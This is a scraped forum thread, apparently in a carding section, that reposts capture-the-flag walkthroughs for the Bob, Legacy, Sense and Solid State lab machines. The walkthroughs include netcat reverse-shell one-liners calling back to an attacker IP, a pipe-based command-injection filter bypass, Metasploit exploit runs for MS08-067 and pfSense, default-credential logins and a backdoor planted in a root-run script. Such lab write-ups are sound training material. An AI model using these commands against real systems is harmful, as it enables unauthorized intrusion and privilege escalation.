![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-AN_Lb5sQJyU/WrkHkyEZjmI/AAAAAAAAVt8/v01ibods-XgallbnAQeBMkUEhTj-j7ViwCEwYBhgL/s1600/15.png?w=687&ssl=1)
After executing our curl command, we have simply started our listening services using netcat command nc -lvp 8081. Once we have established a connection with the Victim Host. We used command ls to look for files, a folder in the current directory.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-IJWU8_jMvG8/WrkHlFZXypI/AAAAAAAAVtk/pZ8ADNaD9LwXduD_tc1tz6igCTSAe5FKQCEwYBhgL/s1600/16.png?w=687&ssl=1)
The ls command which gave us the root.txt file. Whose content we would like to see by using the cat root.txt command.
Finally, we found our final FLAG!!
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-rMjLva69YR0/WrkHlmSmEQI/AAAAAAAAVto/ec-H2IuDd6sdIVXLwEQSGnRpCO5ZLHkfgCEwYBhgL/s1600/17.png?w=687&ssl=1)
Today we are going to take another CTF challenge known as Bob: 1.0.1 The credit for making this vulnerable machine goes to “[To see content please register here] ” and it is another capture the flag challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM [To see content please register here] .
Penetrating Methodologies- Port scanning and IP discovery
- Browsing the IP on Browser
- Enumerating server webpage
- Discovering RCE Vulnerability
- Bypassing the Filter for RCE
- Getting a shell using netcat
- Enumerating the System for Users
- Getting Root Access
- Enumerating the System for Flags
- Reading the flags
Let’s Breach!!!
Let’s start from getting to know the IP of VM (Here, I have it at 192.168.1.109 but you will have to find your own)
netdiscover
1
netdiscover
![[Image: 0.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-Siu7BDZxf04/Wrj_lp36CXI/AAAAAAAAVsE/XFjpUry3Ds0mDPafwGeIcgHgbdc7OS2EACEwYBhgL/s1600/0.png?w=687&ssl=1)
Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.109
1
nmap -A 192.168.1.109
Awesome!! Nmap has done a remarkable job by dumping the details of service running on open port 80. It also found the robot.txt and it showed us that it contains /login.php, /dev_shell.php /lat_memo.html, /passwords.html
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-FzJfb9gODz0/Wrj_lgY29kI/AAAAAAAAVsg/YUaeRG3zoV0qbxCackD2hqUDeCAOS40NwCEwYBhgL/s1600/1.png?w=687&ssl=1)
Knowing port 80 is open in the victim’s network I preferred to explore his IP in the browser.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-WGoovU6a3Sk/Wrj_n4rjRXI/AAAAAAAAVsE/n0dvr2p0SHMPMWj4UbkD9CiwJXllLwq6ACEwYBhgL/s1600/2.png?w=687&ssl=1)
After this I was curious about the links inside the robots.txt so, I went on to open those. One that drew my attention was
[To see content please register here]
1
[To see content please register here]
It seemed like a shell, so I tried to run the “ls” command.
It didn’t work and I got a Denied message “Get out skid lol”
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-LUiXmTya-Hw/Wrj_oxlqL3I/AAAAAAAAVsI/aw3jxx3haX8SUnb_XdBtdZ2TvWreeHLiwCEwYBhgL/s1600/3.png?w=687&ssl=1)
My next try was a pwd command. But even then, there was no success.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Ahb3U2Ipb0o/Wrj_pClHDiI/AAAAAAAAVsQ/lkbYgBastVMjUc63j4Dqj8iWqI8LFEUawCEwYBhgL/s1600/4.png?w=687&ssl=1)
OK, As I was about to give up on this shell, I thought to try “id” command.
At last! I had a command which could run in this shell. Now all I have to do is bypass it in order to generate a shell.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-A-wT90TEyhs/Wrj_pTiEYFI/AAAAAAAAVsM/Xv4mnZWbIBAkD0F8BVt9s7sPozow9wrKACEwYBhgL/s1600/5.png?w=687&ssl=1)
I tried “id | ls” and I have the result for both commands. I have successfully bypassed with a single pipe (|)
As I ran the “ls” command, I saw a file “dev_shell.php.bak”. I save that file on my system.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-xGpCHfgC7Fg/Wrj_ppwOtkI/AAAAAAAAVsU/VeJ0drpfXD08QIMVLEY5-DimMC_pmFk5wCEwYBhgL/s1600/6.png?w=687&ssl=1)
As I ran the “ls” command, I saw a file “dev_shell.php.bak”. I save that file on my system.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-zir5puyynVg/Wrj_qCn3dTI/AAAAAAAAVsc/_mqHvxMZe0sfoqsSGtvJH_3IoArkO8ZGACEwYBhgL/s1600/7.png?w=687&ssl=1)
After downloading the “dev_shell.php.bak”, I opened the file using cat command as shown in the image given below.
You can see variable $bad_words, it is the list of commands which were banned in the dev_shell.php we were messing with earlier.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-2E44-K82HiY/Wrj_qEt7U0I/AAAAAAAAVsY/j_5y_01-lxIpQzhq8-6hPtF3WWM_dg7DwCEwYBhgL/s1600/8.png?w=687&ssl=1)
You can see that the netcat command is not allowed but “nc” is not on the list. So, I decided to get the shell using nc. I generated a shell using this command:
id | nc -e /bin/bash 192.168.1.132 6000
1
id | nc -e /bin/bash 192.168.1.132 6000
Here, 192.168.1.132 is the IP of My Attacking Machine (Kali Linux)
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-3w0B9E8lvOk/Wrj_qrGS1JI/AAAAAAAAVsg/9PfPiDUk2jYlVZm3UBy85S6wDQWUYQvdwCEwYBhgL/s1600/9.png?w=687&ssl=1)
Before running this command, Start a netcat listener on the port 6000 to grab the shell which will be generated using the command mentioned before.
nc -lvp 6000
1
nc -lvp 6000
As soon as I ran the command on the browser, I got a limited shell on my netcat listener. Now let’s spawn a TTY Shell
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
OK, this gave us a proper shell. After changing to the home directory, we found the following users
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-rWEtOUS7Id0/Wrj_lhBv2xI/AAAAAAAAVsI/pIslyFdzfJ0-7DB_GXGKrdmJThyr94GLgCEwYBhgL/s1600/10.png?w=687&ssl=1)
After browsing through the user directories, I found something in Elliot’s directory. I found a text file named “theadminisdumb.txt”
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-HfLHvW_CbSo/Wrj_mMGYgXI/AAAAAAAAVsA/0zBYAObE8hkatbYylmfkZ2esWn08mi_PACEwYBhgL/s1600/11.png?w=687&ssl=1)
On opening, it was a description of the employees in the IT department and especially the admin. He says that the admin is dumb because he sets a default password on the systems “Qwerty”.
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-y5IqX3lADxY/Wrj_mibqA9I/AAAAAAAAVsQ/o6rgcI6FNR8itSOOPIKtrBwxzMSlxGaXwCEwYBhgL/s1600/12.png?w=687&ssl=1)
This gave us a hint that one of the users must have the password as Qwerty. The only way to find out is brute forcing manually as shown below.
su [username]
I found out that User jc has the password Qwerty. So, logged in using the jc credentials.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-I52LuDBuUkY/Wrj_mp0G-TI/AAAAAAAAVsg/qH8Wi2lgc5wuGNRhIEs3qZUjcb6VdepRQCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now again let’s look for another clue in the user directories. After looking for a while. I found another text file in user bob’s Document Directory called staff.txt. But we also found a login.txt.gpg but GPG or GNU Privacy Guard is the encrypted file, we are going to need a passphrase to decrypt the text file. Our next Target is to get that passphrase. We also got a Directory named Secret. Let’s get into that.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-uz7uPyt8XiM/Wrj_m0rrHZI/AAAAAAAAVsQ/9hUQYfH7GR4s6G2Sa5SuhxEheToViHGBgCEwYBhgL/s1600/14.png?w=687&ssl=1)
There was a folder inside a folder and go on till we have a note.sh file.
The Path for that file is /home/bob/Documents/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here/notes.sh
On finding those notes.sh, I opened it using cat command. It contained Message:
Harry Potter is my favourite
Are you real me?
Right, I’m ordering pizza this is going nowhere
People just don’t get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em
We tried a couple of combination from the words in them but after some multiple guesses. Then it struck me that I could try to use the first letter of every sentence and create a word, after doing that I got the word “HARPOCRATES” On googling it I found that it has done something with secrets and password. This made me sure that it is the passphrase for the gpg file.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-AT9LG2Q6QnM/Wrj_nQbTpCI/AAAAAAAAVsc/bZ9Hi1TH3ekKP08pFv3WensF5OH4r0pFQCEwYBhgL/s1600/15.png?w=687&ssl=1)
So time to decrypt the gpg file
gpg --batch –passphrase HARPOCRATES -d login.txt.gpg
1
gpg --batch –passphrase HARPOCRATES -d login.txt.gpg
Great! We have the bob login credentials!
Username: bob
Password: b0bcat_
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-6Wlz9E0MOQY/Wrj_nTYiEhI/AAAAAAAAVsU/d_8mxJXNzxomhPkdc7xJ1T6sKmhal5zsgCEwYBhgL/s1600/19.png?w=687&ssl=1)
Now that we have the login credentials let’s login into bob’s shell
After logging in I ran the command sudo -l which showed that we have “ALL” Permission. Now all we have to do is get on to root shell which can be done using command sudo su
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-QDsUBTFyZfI/Wrj_oIrx9XI/AAAAAAAAVsY/54bAlRXi3bgPAl0O8Dh8AzuMOBJKQV2rgCEwYBhgL/s1600/20.png?w=687&ssl=1)
After we got into the root shell all that is left is to open the root flag which can be done using command cat /flag.txt.
|
|
|
|
| [Guide] How to Hack the Box Challenge: Legacy Walkthrough |
|
Posted by: NINZA - 05-14-2020, 08:33 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Legacy” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Legacy lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Legacy is 10.10.10.4 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.4
1
nmap -A 10.10.10.4
From the given below image, you can observe that we found open port 139 and 445 denotes that it is a windows machine.
When I extract the complete result of nmap I found the following details
OS: Windows XP
Computer name: Legacy
NetBIOS computer name Legacy
As we know in Windows XP Port 445 was vulnerable to netapi exploit and it was a remarkable vulnerability in SMB protocol.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-yltikUljzYY/Wrk1NXoEJvI/AAAAAAAAVuQ/ielLTAED4yMsF0CaAz8syCIXw_LVfoCigCLcBGAs/s1600/1.png?w=687&ssl=1)
Let confirm SMB vulnerability in victims system using nmap script.
nmap --script vuln -p445 10.10.10.4
1
nmap --script vuln -p445 10.10.10.4
Awesome!! Victim’s machine is vulnerable to MS08-67exploit.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-FVneqvHGDpk/Wrk1NBthvdI/AAAAAAAAVuM/7K2X4l0KuiQ3lAwyePHLBrCDA8hI43c3ACLcBGAs/s1600/2.png?w=687&ssl=1)
Then I run msfconsole command in terminal and load metasploit framework for using eternal blue module for exploiting target machine.
use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) >set rhost 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) >set rport 445
msf exploit(windows/smb/ms08_067_netapi) >set lhost 10.10.14.3
msf exploit(windows/smb/ms08_067_netapi) >exploit
1
2
3
4
5
use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) >set rhost 10.10.10.4
msf exploit(windows/smb/ms08_067_netapi) >set rport 445
msf exploit(windows/smb/ms08_067_netapi) >set lhost 10.10.14.3
msf exploit(windows/smb/ms08_067_netapi) >exploit
Awesome!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
![[Image: 3.1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-DWcvXeHDY_k/Wrk1NaVh_nI/AAAAAAAAVuU/FCapOx1v3xE2FlNi7s83poqYpfiagcUFgCLcBGAs/s1600/3.1.png?w=687&ssl=1)
Inside C:\Document and Setting \john\Desktop I found the user.txt file and used cat “filename” command for reading this file.
cat user.txt
1
cat user.txt
Great!! We got our 1st flag successfully
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-gfk4pStg76s/Wrk1N0hCpxI/AAAAAAAAVuY/g98Ucl-T6Ogpq1Di4eF-Kae_OVmqIX5zACLcBGAs/s1600/3.png?w=687&ssl=1)
Inside C:\Document and Settings\Administrator\Desktop I found the root.txt file and used cat “filename” command for reading this file.
cat root.txt
1
cat root.txt
Great!! We got our 2nd flag successfully
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-pA5NTO6SuT4/Wrk1OQ5pDDI/AAAAAAAAVuc/Z5pppR4AOhUjGq_z9aa8TaNnDWhkXj7EACLcBGAs/s1600/4.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Sense” which is available online for those who want to increase their skill in penetration testing and black box testing. sense is retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Sense craft which is designed for beginners.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.60 so let’s begin with nmap port enumeration.
nmap -A 10.10.10.60 --open
1
nmap -A 10.10.10.60 --open
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-SgrYyKdJViM/WrdSBOp25LI/AAAAAAAAVpk/sPBkhngp50ICDTTl4fb3e7932var_j95QCLcBGAs/s1600/1.png?w=687&ssl=1)
From the given below image, you can observe we found port 80, 443 are open in the victim’s network.
Knowing port 80 is open in victim’s network we preferred to explore his IP in the browser but didn’t get any remarkable clue on its PF Sense Login Portal for next step.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Zyajz2QkeHk/WrdSCOH07MI/AAAAAAAAVqU/p9MwCnZqiRA6_C1AatFmCPEmTvU0DM7VACEwYBhgL/s1600/2.png?w=687&ssl=1)
Now we have this Login Portal using DirBuster Tool. As you can see we have given Target IP [To see content please register here] in the Target URL option. And we have given the path of the directory we want to enumerate which is /usr/share/wordlists/disbuster/directory-list-2-3-medium.txt. In File Extension option we have given the format of the file which is txt. Then Click on start for BruteForcing.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-aX9FNHvOSEw/WrdSCI3fyII/AAAAAAAAVpw/edNU5hr58qIoTs2Kj7-hcRqsKw1REq4iwCEwYBhgL/s1600/4.png?w=687&ssl=1)
After going through all the directories and file’s we came up with a conclusion that system-users.txt has the clue for our next step.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-nHZmLOQEpBg/WrdSCh-XpLI/AAAAAAAAVqY/0aA5EfUwjwgfp8GDxXQSciixJ4HMSj_NgCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now we have simply accessed the file using the browser by giving an input of [To see content please register here] , what we saw was a Username and Password which can be used to an accessed Sense Login portal. But giving these inputs didn’t actually log us in.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-tzHMAUHgKx8/WrdSC7Jdn7I/AAAAAAAAVqk/uAGujHuywa4glr2Ai8IiwFjlINZDAqERwCEwYBhgL/s1600/6.png?w=687&ssl=1)
This made us curious, then we decided to take a little help from google. We searched for the default username and password for PFSENSE. The result we got can be seen in the image below.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-l9Lfmhckcpk/WrdSDEj7EeI/AAAAAAAAVqc/kOv4_OrT9hQA8Ixc8afUqhnWO03_ISCeQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Then we have given username as rohit and password as pfsense. Where r is in small letter these credentials have successfully logged us into the pfsense portal.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-lwHxl5_U-_8/WrdSDN7TomI/AAAAAAAAVqg/HPOq8Qo_dxkDOrON5Oi-qXQZX1LFCpMvgCEwYBhgL/s1600/8.png?w=687&ssl=1)
We figured out that we should try searching for the pfsense version which is 2.1.3 on google. And as usual, it came out to be a Remote Command Execution Exploit.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-0Z8R6-7_h2I/WrdSDSzy8oI/AAAAAAAAVqo/v6brvE8PWZY53-dbbxh9E6PkTZbchcitACEwYBhgL/s1600/9.png?w=687&ssl=1)
Once we are assured of the username and password, we have used Metasploit exploit and got the meterpreter as you can see below.
use exploit/unix/http/pfsense_graph_injection_exec
set rhost 10.10.10.60
set username rohit
set password pfsense
set lhost 10.10.14.3
set lport 9000
exploit
1
2
3
4
5
6
7
use exploit/unix/http/pfsense_graph_injection_exec
set rhost 10.10.10.60
set username rohit
set password pfsense
set lhost 10.10.14.3
set lport 9000
exploit
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-IaNiOy2Ou-s/WrdSBPFkZnI/AAAAAAAAVqM/S4h4sm121I4ByJiCj795XU24ByIQTb8TwCEwYBhgL/s1600/10.png?w=687&ssl=1)
Once we have got the meterpreter. We have used command cd /home to check what kind of directories are on home. Then we check inside the rohit directory using command ls /home/rohit, here we found out the user.txt file and used cat user.txt to read the file content which contains our first FLAG!!
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-KP0cwGTQMrk/WrdSBDXyJbI/AAAAAAAAVqQ/8WE1K4dkChMD4QpvWSFjmcRhNpWZBqJzQCEwYBhgL/s1600/11.png?w=687&ssl=1)
After getting our first FLAG. We have used shell command and whoami command which has displayed the current user which is root, then after getting into root directory, we have used ls command which gave us the root.txt file. Whose content we would like to see by using the cat root.txt command. Finally, we found our final FLAG!!
shell
whoami
cd /root
cat root.txt
1
2
3
4
shell
whoami
cd /root
cat root.txt
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-zP7ysZtnsao/WrdSB1rbvxI/AAAAAAAAVqQ/24hkkqteF9kF_pE39M6EiELTjjxombo6wCEwYBhgL/s1600/12.png?w=687&ssl=1)
Today we are going to solve a CTF Challenge “Solid State”. It is a Vulnerable lab that is featured on Hack the Box. They have an amazing collection of Online Labs on which you can practice your penetration testing skills online. They have labs ranging from Beginner to Expert. Solid State is a Retired Lab.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Let’s Begin!
As these labs are only available online through a VPN, therefore, they have a static IP. Solid State Lab has an IP Address: 10.10.10.51
Now, as always let’s begin our hacking with the port enumeration using nmap.
nmap 10.10.10.51 -sV -p- --open
1
nmap 10.10.10.51 -sV -p- --open
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Qhh1szAydZE/Wrc4kgBKruI/AAAAAAAAVnk/8UHspjKxaCEh4kEupb0ytZS1_Ci_ujvMwCLcBGAs/s1600/1.png?w=687&ssl=1)
As you can see in the screenshot that we have a couple of ports open like:
Port No
Service
22
SSH
25
SMTP
80
HTTP
110
POP3
119
NNTP
4555
James-admin
The Port 80 is open so let’s open IP in out Browser to see that if a website is hosted on the IP.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-pqaAkpR6L6k/Wrc4n8vjPPI/AAAAAAAAVpA/_JYJK0Xmh3IwyCP2DhrNZ2PixfI5zeq-wCEwYBhgL/s1600/2.png?w=687&ssl=1)
After opening the IP in the browser we can see that it is a basic website, nothing exciting.
Now back to 4555, it runs service James Remote Admin 2.3.2. After searching a while on the internet, I got that the default password for logging in the Remote Admin is root: root.
And it is a golden rule to apply the default credentials, so let’s try to get in Remote Admin using the default credentials. For this, we will use netcat as shown below in the image.
nc 10.10.10.51 4555
1
nc 10.10.10.51 4555
Great!! We have logged in on the Remote Admin Service, after that, we ran the HELP command to get the List of working commands.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-bJ2hCY7Fti8/Wrc4oyEoU0I/AAAAAAAAVo8/LHhlgtHF-fYs41G0WTJnHZYIZ6Q_V_JMQCEwYBhgL/s1600/3.png?w=687&ssl=1)
Here listusers command draws our attention, let’s see what it does. Great, we have the list of mail users on the server.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Kerr3TlHvn8/Wrc4pPLutxI/AAAAAAAAVpA/a4WhEbmGyjIyzNCh1GCem6zk8v5buWd8ACEwYBhgL/s1600/4.png?w=687&ssl=1)
Back to the HELP command, we had the setpassword command. Let’s use it to change the passwords of all the users so that we can further enumerate.
setpassword james 1234
1
setpassword james 1234
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Kmdw3ILKeNM/Wrc4pEUOOoI/AAAAAAAAVpE/gPv9DXffQ7g7_tbvtv2Sz4hfDSQJ6WWLQCEwYBhgL/s1600/5.png?w=687&ssl=1)
OK, so now we have the users for the POP3 service and their passwords. Now, let’s dig into that, for that we will use telnet.
telnet 10.10.10.51 110
User: john
Pass: 1234
LIST
1
2
3
4
telnet 10.10.10.51 110
User: john
Pass: 1234
LIST
After logging in using the Credentials of the user john, we ran the command LIST, which lists all the messages in John’s account. Let see if we find something here.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-dEoRK1JNqFA/Wrc4pYBakuI/AAAAAAAAVpQ/9N607eGhasI8MnCOWG_M0EeRdE0pf-1ZwCEwYBhgL/s1600/6.png?w=687&ssl=1)
Nope, hard luck !! we didn’t get much in this but let’s try another user.
Again open a new telnet session but this time we enter the Credentials of user Mindy.
telnet 10.10.10.51 110
User: mindy
Pass: 1234
list
1
2
3
4
telnet 10.10.10.51 110
User: mindy
Pass: 1234
list
Using LIST we got the emails in the account of Mindy. Let’s open to see if we can get some hint to move forward in the mail.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-c7t3e7fHI-0/Wrc4pskFBBI/AAAAAAAAVpQ/g4jyivdRS-IEnvwpZtYygE4FLyM3Awc5ACEwYBhgL/s1600/7.png?w=687&ssl=1)
After opening the mail we found sent mail from admin account by James to Mindy sharing his the SSH Login Credentials. It is a Jackpot!!
Username: mindy
Pass: P@55W0rd1!2@
1
2
Username: mindy
Pass: P@55W0rd1!2@
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-DrXyOiHrArY/Wrc4plWhBSI/AAAAAAAAVpM/Ebk5aFFKW-sYLC20C8XczdvXgQXBNFS0ACEwYBhgL/s1600/8.png?w=687&ssl=1)
Let’s go and get the ssh shell of the machine and use Mindy credential for login into ssh.
ssh [email protected]
1
ssh [email protected]
Cool!! We got access to the victim’s PTS shell.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-NijVBheWPwE/Wrc4pzfx-5I/AAAAAAAAVpU/yNcaOMVqeB41kcWURyyVxxszoflg-hJEgCEwYBhgL/s1600/9.png?w=687&ssl=1)
Since we have enumerated the target network and found Apache James Server 2.3.2 is running. After Browsing through the internet we stumbled across the Exploit DB module shown in the screenshot, To use the module copy the whole python code from [To see content please register here]
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-XdrAzoFuw-U/Wrc4ksVUXCI/AAAAAAAAVpU/HHn5ZQEhovMGTAZMlL3RcwgfjpMxpftHgCEwYBhgL/s1600/11.png?w=687&ssl=1)
Paste above-copied python code in a text file and make following changes inside payload as highlighted in below image and then save it, we have it as exploit.py on the desktop.
nc -e /bin/sh 10.10.14.3 8000
1
nc -e /bin/sh 10.10.14.3 8000
Here 10.10.14.3 is attacker’s IP and 8000 is listening to port for a reverse connection from targets network.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-IgIcx1nyHRQ/Wrc4kimusyI/AAAAAAAAVpE/ui3G9IWX8UsHKpfMuxyoRTd1fJTPU5W3wCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now run above saved python file as I run using below command:
./exploit.py 10.10.10.51
1
./exploit.py 10.10.10.51
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-U1ELFT81drU/Wrc4lRvV5lI/AAAAAAAAVpU/V81sAbOQkB4poRGwwA1JosCxyn9haWGCQCEwYBhgL/s1600/13.png?w=687&ssl=1)
OK Done! The Exploit will work only when someone logs in. So let’s again login into SSH shell using the user Mindy’s Credentials and as soon as we log in the exploit begin to work as shown below.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-g1My88SLbhQ/Wrc4lkKXezI/AAAAAAAAVpE/pwW-pq3RLOEadzrQIwL4WICuTmO-ZE2UgCEwYBhgL/s1600/14.png?w=687&ssl=1)
Let’s open a netcat Listener to get the shell which will be generated after our exploit gets completely executed. Now we need to import the python file to reach the terminal and to do so type:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Lovely!! So again we got access of victim’s system shell but this time we had access TTys shell of his system, now let check its directory.
ls
1
ls
Here we can see user.txt which indicates we have almost completed our 1st challenge.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-HDe5vuhQ5DM/Wrc4lgmw33I/AAAAAAAAVpI/NI5TcSW1ifUwd3am0kj0i8I-ly6lVnSRQCEwYBhgL/s1600/15.png?w=687&ssl=1)
I had to use cat command for reading the user.txt file and with this, we had completed our first challenge.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-g9PlOwSpN98/Wrc4mFAZ15I/AAAAAAAAVpU/MlhxQ0vtxmQoi4TcV30S9DY60GbvaojPQCEwYBhgL/s1600/16.png?w=687&ssl=1)
Now let’s move towards the 2nd challenge for root.txt and currently we are in Mindy directory. For the root.txt file, we need to get, an elevated shell. I recalled that Mindy received an email from admin account (James), there is a chance of getting any hint from James, therefore, I prefer to grep running process of James by executing following command.
ps aux | grep james
1
ps aux | grep james
Here aux will work as described below:
a = display processes for all users
u = show the process’ user/owner
x = show processes not attached to a terminal
Great!! It has shown root process for opt file.
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-eo15wifujW8/Wrc4mjLKCkI/AAAAAAAAVpA/wnNGPIJB3AIPygP6Z7JqQq0K8c46f44VACEwYBhgL/s1600/17.png?w=687&ssl=1)
Then I move into /opt directory and run ls-al command for exploring all files and folder inside this directory.
cd opt
ls -al
1
2
cd opt
ls -al
So it showed two files among which I’m interested in tmp.py file.
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-x15ORxjj6KU/Wrc4nMm7ekI/AAAAAAAAVo0/vbnBjxujSEcZo_H21rc4SwDOmlN7F_7AQCEwYBhgL/s1600/18.png?w=687&ssl=1)
When I used cat command for reading this file I found a python code inside it. This code was useless for me and to me it useful I need to edit this file by adding malicious code inside it, therefore, let copy this code first into a text file.
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-yCLeyaL2L7Y/Wrc4nuQBRkI/AAAAAAAAVpI/sFHwFBxEZug0vC5qqUUFYgy3fJDgZYzJwCEwYBhgL/s1600/19.png?w=687&ssl=1)
As given below in image you can see I had edit netcat backdoor using the following command and save the file tmp.py, then transfer this file into victim’s system.
/bin/nc -e /bin/bash 10.10.14.3 8081
1
/bin/nc -e /bin/bash 10.10.14.3 8081
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-0R2Ef6KWnYc/Wrc4n7qdHxI/AAAAAAAAVo4/Cdb3HL9DrKMQnuUkCEeteG6_l4jWk_TFQCEwYBhgL/s1600/20.png?w=687&ssl=1)
I tried to download our malicious tmp.py file inside /opt it get failed due to limited access therefore first I downloaded this file in /tmp directory using wget command.
wget [To see content please register here]
1
wget [To see content please register here]
When it gets successfully downloaded then I replace it into /opt directory
cp tmp.py /opt
cd /opt
ls
1
2
3
cp tmp.py /opt
cd /opt
ls
Great!! We can see tmp.py file inside /opt let’s confirm this file using the cat command
cat tmp.py
1
cat tmp.py
Awesome!!! We had successfully uploaded our one-liner netcat backdoor in victim’s system. Now let’s start netcat in a new terminal reverse connection.
nc -lvp 8081
1
nc -lvp 8081
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-GMh-Gzs8fNU/Wrc4oUSF_0I/AAAAAAAAVo8/RkCIiUkyRSY4pSXiZF-bVfN3NfKWf8-GgCEwYBhgL/s1600/21.png?w=687&ssl=1)
Then I run crontab -l command for reverse connection and move back netcat terminal.
